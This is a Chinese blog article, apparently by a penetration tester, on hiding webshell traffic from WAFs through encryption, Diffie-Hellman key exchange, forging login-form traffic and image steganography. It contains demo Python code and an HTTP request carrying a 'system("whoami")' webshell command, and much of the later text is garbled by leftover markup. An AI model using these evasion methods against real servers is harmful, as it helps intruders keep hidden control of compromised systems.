近幾年做滲透測試的時候總是遇到流量特征太明顯而被攔截甚至封IP
的情況,每次都要耗半天勁去想辦法,甚至嘗試過改造蟻劍的編碼器,奈何NodeJS
的功底太差(甚者可以說不會)寫到一半就爛尾了。于是就開始自己用Python
寫了個簡單WebShell
管理器來繞過流量檢測,當然這東西都是后話,這個文章主要還是為分享一下自己的一些繞過思路。
前言:
- 本文大概3000字,請合理分配閱讀時間。
- 本文中的代碼為了用來演示而寫的,不代表最后的成品腳本。
- 此文中的所有方法以客戶端和服務器中間的
WAF
不知道服務器上Web Shell
的文件內容為前提。 - 此文當中默認當
web shel
是免殺,所以不考慮shell
被殺的問題。
一、編碼
編碼是最常見的繞過方式,像蟻劍這種就是使用編碼的典型工具。常見的編碼也就是base64
、URL
、Hex
、Unicode
之類的了,所以編碼這塊兒本文不再過多闡述。
二、加密
加密也是常用的繞過流量檢測的方法,比如冰蝎、哥斯拉這兩個web shell
管理工具就是使用加密來繞過流量檢測(雖然說現在會被攔截了,但是剛發布的時候是還是很穩的)。常用的加密方式一般是XOR
、AES
等對稱加密方式(這里暫時不考慮RSA
這種非對稱加密,這東西簡直是bug
一般的存在)。這種對稱加密有個很大的弊端:
- 動態的密鑰會在
HTTP
包里泄露。 - 靜態密鑰容易被機器學會特征。
1、動態的密鑰會在HTTP
包里泄露
以冰蝎的動態密鑰為例:
HTTP/1.1 200 OK
Date: Tue, 16 Aug 2022 15:28:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=s9e7ldh4sogigtbuq4u8hqnr14; path=/
Connection: close
Content-Type: text/html
Content-Length: 16
3f2a8ede95042ddc
這個是第一次請求時交換的密鑰,之后就會以3f2a8ede95042ddc
來進行加解密,如下面這個POST
包
冰蝎的響應信息
用3f2a8ede95042ddc
解密得到:
解密冰蝎的響應信息
所以通過這個例子可以看到密鑰是泄露在HTTP
包里的。
2、靜態密鑰容易被機器學會特征
在使用一些對稱加密算法會因為密碼和前幾個字節是固定的,導致加密后前幾個字符也一直是固定的(部分編碼也有這個特征),從而會被WAF
給學會特征來攔截。以XOR
和AES-ECB
來舉例:
import random
import string
from Crypto.Cipher import AES
key = 'this_is_key!!!!!' # 用感嘆號填充到16個字符,方便加密
regular_data = "assert|eval(base64_decode('%s'))" # 以冰蝎的payload為例
def random_char(num):
return ''.join(random.choices(string.ascii_letters, k=num))
def xor(text: str, key: str):
result = ''
for i in range(max(len(text), len(key))):
result += chr(ord(text[i % len(text)]) ^ ord(key[i % len(key)]))
return result
def aes_encrypt(text: str, key: str):
aes = AES.new(key.encode(), AES.MODE_ECB)
return aes.encrypt(text.encode())
for i in range(10):
print(xor(regular_data % random_char(10), key).encode())
for i in range(10):
print(aes_encrypt(regular_data % random_char(16 - (len(regular_data) - 2 + 10) % 16 + 10), key))
# XOR加密
# b'-: C@RDB\\6:
;M^mLl{q;+
NZv'
# b'-: C@RDB\\6:
;M^@vk[S?NZv'
# b"-: C@RDB\\6:
;M^PfLIF8-;'8NZv"
# b'-: C@RDB\\6:
;M^plBr{ %NZv'
# b"-: C@RDB\\6:
;M^ictci'NZv"
# b'-: C@RDB\\6:
;M^kljxT5NZv'
# b'-: C@RDB\\6:
;M^I{vBH!NZv'
# b'-: C@RDB\\6:
;M^uJ@NR+;
NZv'
# b'-: C@RDB\\6:
;M^gmDXl /
-NZv'
# b'-: C@RDB\\6:
;M^MkvTm?
如上面的代碼所示,可以看到不論是XOR
還是AES
加密,因為密鑰和明文的前幾個字符是固定的(AES
要求一組為16
字節,所以最少要16
個字符是固定的才行,當然并不是所有的模式都這樣,比如AES-CBC
就不會),最后導致的就是前幾個密文每次都一樣,很容易被機器學習給學會特征
3、怎么辦呢?
其實解決方法不難,那就是大名鼎鼎的Diffe-Hellman
算法,這個算法一般用在密鑰交換上,剛好可以用在這里。具體的算法如下圖所示
Diff-Hellman算法原理圖
其中:a
、b
、p
都是素數,g
任意。用代碼嘗試一下
import random
a = 13
b = 11
p = 7
g = random.randint(10, 20)
A = g ** a % p
B = g ** b % p
print(A ** b % p == B ** a % p)
# True
所以在實戰環境中,服務端可以通過第一次請求獲得的g
、p
、A
來計算出K
然后存到session
當中并返回自己的B
,這樣不僅可以在后續的請求中直接使用K
來進行加密通信而不被WAF
發現的同時還可以隨時更換密鑰。
三、混淆
混淆也是躲避流量檢測設備的有利方法之一,其鼻祖個人認為應該是ShadowSocksR
了,它的混淆模式方便了許多人上網。至于SSR
具體的原理這里先開個坑,若想了解可以上網搜索。在實際環境中使用加密是為了防止中間人截獲我們原始的payload
,雖然加密也能起到繞過流量檢測設備的作用,但有時候也可能會因為頻繁請求而被識別為惡意流量,這時候就需要將我們加密后的(或原始的)payload
進行混淆來防止被流量檢測設備識別。
1、根據網站原始頁面進行流量仿造
一般網站正常情況下不是返回HTML
和圖片就是返回JSON
和XML
(使用JS
進行自加密發送的情況不考慮),所以可以提前定義好請求信息和響應信息,在后續的請求中按照格式去請求。舉個例子,以登錄頁面為例,加入登錄頁面有一個登錄接口,POST
了username
和password
,并且返回信息是一段HTML
,則可以將Web Shell
偽裝成這個接口。則理想的請求信息應該如下:
請求信息:
POST /shell.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html
Connection: close
username=admin&password=assert%7Ceval%28%27system%28%22whoami%22%29%27%29&submit=%E7%99%BB%E9%99%86
響應信息:
HTTP/1.1 200 OK
Date: Tue, 16 Aug 2022 15:28:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close
Content-Type: text/html
"/static/js/jquery.js"span>><span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>script>
<title>登錄<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>title>
<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>head>
<body>
<div <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-control"span>>
<p <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-error"span>>NT AUTHORITYSYSTEM<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>p>
<form <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"form-block"span> action=<span class="hljs-string">"/shell.php"span> method=<span class="hljs-string">"post"span>>
<input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"text"span> name=<span class="hljs-string">"username"span> />
<input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"password"span> name=<span class="hljs-string">"password"span> />
<input <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"input-block"span> type=<span class="hljs-string">"submit"span> name=<span class="hljs-string">"submit"span> value=<span class="hljs-string">"登錄"span> />
<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>form>
<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>div>
<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>body>
<span <span class="hljs-class"><span class="hljs-keyword">classspan>span>=<span class="hljs-string">"hljs-name"span>html>
span><span class="vditor-linenumber__rows"><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span>span>code>pre>
<p>根據上面的請求信息和響應信息,不難看出<code>shellcode>的鏈接密碼是<code>passwordcode>,而返回的結果是p>
<p><code>NT AUTHORITYSYSTEMcode>p>
<p>,也就是包裹在了原來本應該顯示錯誤信息的地方,這樣就做到了上面說到的仿造正常頁面。p>
<h3>2、隱寫h3>
<p>隱寫是我在<code>CTFcode>當中經常遇到的東西,可以利用其思路將<code>payloadcode>的每個字符寫入到圖片的每個字符當中,其中需要處理的問題是如果<code>payloadcode>不夠長會填不滿圖片或者<code>payloadcode>過長導致圖片不夠寫。后面的情況可以通過更換更大的圖片來變為第一種情況。p>
<p>而第一種情況則需要填充,我個人偏向于先將<code>payloadcode>使用<code>base64code>編碼,消除掉不可見字符,然后再使用不可見字符(如<code>?code>、<code>?code>等),服務端獲取后直接剔除不可見字符再<code>base64code>解碼即可。p>
<p>以本公眾號的<code>logocode>為例,通過<code>PILcode>庫可以將<code>payloadcode>寫入到圖片的每個像素中的<code>alphacode>通道中,也就是透明度。p>
<blockquote>
<p>一個使用16位存儲的圖片,5位表示紅色,5位表示綠色,5位表示藍色,1位是阿爾法。在這種情況下,Alpha值只能為0或1,要么透明,要么不透明;p>
<p>一個使用32位存儲的圖片,每8位表示紅綠藍和阿爾法通道。在這種情況下,Alpha通道不只可以表示透明還是不透明,還可以表示256種不同的透明度。p>
blockquote>
<p>所以我們這里用32位存儲的圖片。代碼如下:p>
<pre><code style="max-height:784px;" class="hljs python vditor-linenumber"><span class="hljs-keyword">fromspan> PIL <span class="hljs-keyword">importspan> Image
payload = <span class="hljs-string">'aseert|eval('system("whoami")')'span> + <span class="hljs-string">';'span> * (<span class="hljs-number">1200span> * <span class="hljs-number">1000span>) <span class="hljs-comment"># 填充臟數據,只為了演示span>
image = <span class="hljs-string">'logo.png'span>
img = Image.<span class="hljs-built_in">openspan>(image)
img = img.convert(<span class="hljs-string">'RGBA'span>)
x, y = img.size
<span class="hljs-comment"># 確保圖片的像素點放得下payloadspan>
<span class="hljs-keyword">assertspan> x * y >= <span class="hljs-built_in">lenspan>(payload)
<span class="hljs-comment"># 填充payload到圖片像素點的數量span>
payload = payload + <span class="hljs-string">'?'span> * (x * y - <span class="hljs-built_in">lenspan>(payload))
<span class="hljs-keyword">forspan> i <span class="hljs-keyword">inspan> <span class="hljs-built_in">rangespan>(x):
<span class="hljs-keyword">forspan> j <span class="hljs-keyword">inspan> <span class="hljs-built_in">rangespan>(y):
color = img.getpixel((i, j))
new_color = color[:-<span class="hljs-number">1span>] + (<span class="hljs-built_in">ordspan>(payload[i * x + j]), )
img.putpixel((i, j), new_color)
img.show()
img.save(<span class="hljs-string">'anioner.png'span>)
<span class="vditor-linenumber__rows"><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span><span>span>span>code>pre>
<p>這個代碼即可做到將字符串隱寫到圖片當中,效果如下:p>
<p><img src="http://file1.elecfans.com/web2/M00/88/88/wKgaomRrOImARDe5AACE5MOqCZU586.jpg" alt="圖片" />p>
<p>右側為原始圖片,左側為隱寫后的圖片p>
<p>如何解密呢?那就是反向操作把<code>RGBAcode>取出來然后把<code>Acode>轉成字符串即可。p>
<h2>總結h2>
<p>實際上,上面的那些繞過方式還是有問題的,這里列舉一些各自的優缺點。p>
<ol><li><code>Diffe-Hellmancode>算法
<ol><li>優點:<br />
1、能夠有效防止中間人獲取到密鑰從而解密流量li>
<li>缺點:<br />
1、那些素數過小時會導致很容易就被爆破出來密鑰<br />
2、如果素數過大(哪怕是3位整數)會導致整型溢出而計算錯誤<br />
3、需要額外一次請求來獲取密鑰,增加了特征li>
ol>li>
<li>頁面仿造
<ol><li>優點:<br />
1、增加判斷難度,尤其是在配合了加密后<br />
2、管理員的溯源難度增加那么一丟丟li>
<li>缺點:<br />
1、過多的增加了原來的數據大小,網絡環境差時會導致傳輸很慢的問題<br />
2、若原始的<code>payloadcode>未進行加密或編碼依然會被檢測出特征li>
ol>li>
<li>圖片隱寫
<ol><li>優點:<br />
1、無法肉眼判斷<br />
2、很少有<code>WAFcode>檢測圖片<br />
3、隨時可以更換隱寫載體,如視頻、音頻等li>
<li>缺點:<br />
1、數據長度較原始<code>payloadcode>增大了很多<br />
2、頻繁的<code>POSTcode>圖片也是一個特征<br />
3、容易被提取,需要加密li>
ol>li>
ol><p>其實繞過流量檢測設備的方法很多,上面列舉的只是我自己一堆想法中的幾個,個人認為其中的<code>Diffe-Hellmancode>算法在解決了額外的一次請求之后應該是很無敵的存在。p>
div>
-
編碼器
+關注
關注
45文章
3599瀏覽量
134181 -
URL
+關注
關注
0文章
139瀏覽量
15312 -
RSA
+關注
關注
0文章
59瀏覽量
18864 -
python
+關注
關注
56文章
4782瀏覽量
84466
發布評論請先 登錄
相關推薦
評論